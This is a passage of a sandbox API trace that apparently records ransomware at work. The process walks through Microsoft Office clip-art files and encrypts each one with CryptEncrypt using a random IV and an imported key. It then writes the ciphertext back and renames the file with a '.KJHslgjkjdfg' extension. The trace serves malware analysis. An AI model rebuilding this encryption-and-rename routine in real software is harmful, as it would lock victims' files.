dwFlags=0x0) returned 1 [0204.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.457] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x45a2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x45a2, lpOverlapped=0x0) returned 1 [0204.458] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45b0, dwBufLen=0x45b0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x45b0) returned 1 [0204.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.458] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x45b0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x45b0, lpOverlapped=0x0) returned 1 [0204.458] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.458] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4684, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.458] SetEndOfFile (hFile=0x130) returned 1 [0204.461] GetProcessHeap () returned 0x2ef0000 [0204.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.461] GetProcessHeap () returned 0x2ef0000 [0204.461] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215710.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215710.wmf.kjhslgjkjdfg")) returned 1 [0204.462] CloseHandle (hObject=0x130) returned 1 [0204.462] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x95e02700, ftCreationTime.dwHighDateTime=0x1be4927, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x95e02700, ftLastWriteTime.dwHighDateTime=0x1be4927, nFileSizeHigh=0x0, nFileSizeLow=0x15f2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0215718.WMF", cAlternateFileName="")) returned 1 [0204.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.463] GetProcessHeap () returned 0x2ef0000 [0204.463] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.463] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.463] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0204.465] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.465] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.465] GetProcessHeap () returned 0x2ef0000 [0204.465] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.465] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.465] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.465] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.465] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.465] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.465] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.465] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.465] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.465] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.465] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.465] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x15f2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x15f2, lpOverlapped=0x0) returned 1 [0204.466] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600, dwBufLen=0x1600 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1600) returned 1 [0204.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.466] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1600, lpOverlapped=0x0) returned 1 [0204.466] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.467] SetEndOfFile (hFile=0x130) returned 1 [0204.469] GetProcessHeap () returned 0x2ef0000 [0204.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.469] GetProcessHeap () returned 0x2ef0000 [0204.469] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.469] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0215718.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0215718.wmf.kjhslgjkjdfg")) returned 1 [0204.470] CloseHandle (hObject=0x130) returned 1 [0204.470] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa783, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216112.JPG", cAlternateFileName="")) returned 1 [0204.470] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.471] GetProcessHeap () returned 0x2ef0000 [0204.471] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.471] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.471] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.471] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xd, lpOverlapped=0x0) returned 1 [0204.474] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.474] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.474] GetProcessHeap () returned 0x2ef0000 [0204.474] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.474] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.474] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.474] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.474] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.475] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.475] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.475] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.475] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.475] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa783, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa783, lpOverlapped=0x0) returned 1 [0204.476] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa790, dwBufLen=0xa790 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa790) returned 1 [0204.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.477] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa790, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa790, lpOverlapped=0x0) returned 1 [0204.477] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.477] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa864, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.477] SetEndOfFile (hFile=0x130) returned 1 [0204.480] GetProcessHeap () returned 0x2ef0000 [0204.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.480] GetProcessHeap () returned 0x2ef0000 [0204.480] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.481] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216112.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216112.jpg.kjhslgjkjdfg")) returned 1 [0204.482] CloseHandle (hObject=0x130) returned 1 [0204.482] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5474, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216153.JPG", cAlternateFileName="")) returned 1 [0204.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.484] GetProcessHeap () returned 0x2ef0000 [0204.484] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.484] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.484] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0204.486] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.486] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.486] GetProcessHeap () returned 0x2ef0000 [0204.486] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.486] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.487] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.487] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.487] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.487] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.487] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.487] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.487] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5474, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5474, lpOverlapped=0x0) returned 1 [0204.488] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5480, dwBufLen=0x5480 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5480) returned 1 [0204.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.489] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5480, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5480, lpOverlapped=0x0) returned 1 [0204.489] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.489] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.489] SetEndOfFile (hFile=0x130) returned 1 [0204.492] GetProcessHeap () returned 0x2ef0000 [0204.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0204.492] GetProcessHeap () returned 0x2ef0000 [0204.492] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0204.492] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216153.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216153.jpg.kjhslgjkjdfg")) returned 1 [0204.493] CloseHandle (hObject=0x130) returned 1 [0204.493] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x565a9290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa488, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0216540.WMF", cAlternateFileName="")) returned 1 [0204.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0216540.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0216540.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0204.494] GetProcessHeap () returned 0x2ef0000 [0204.494] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0204.495] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0204.495] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0204.495] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.496] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.496] GetProcessHeap () returned 0x2ef0000 [0204.496] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0204.496] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0204.496] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0204.496] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0204.496] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0204.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0204.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0204.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0204.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0204.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0204.497] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0204.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.497] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xa488, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xa488, lpOverlapped=0x0) returned 1 [0204.513] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa490, dwBufLen=0xa490 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xa490) returned 1 [0204.513] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0204.513] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xa490, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xa490, 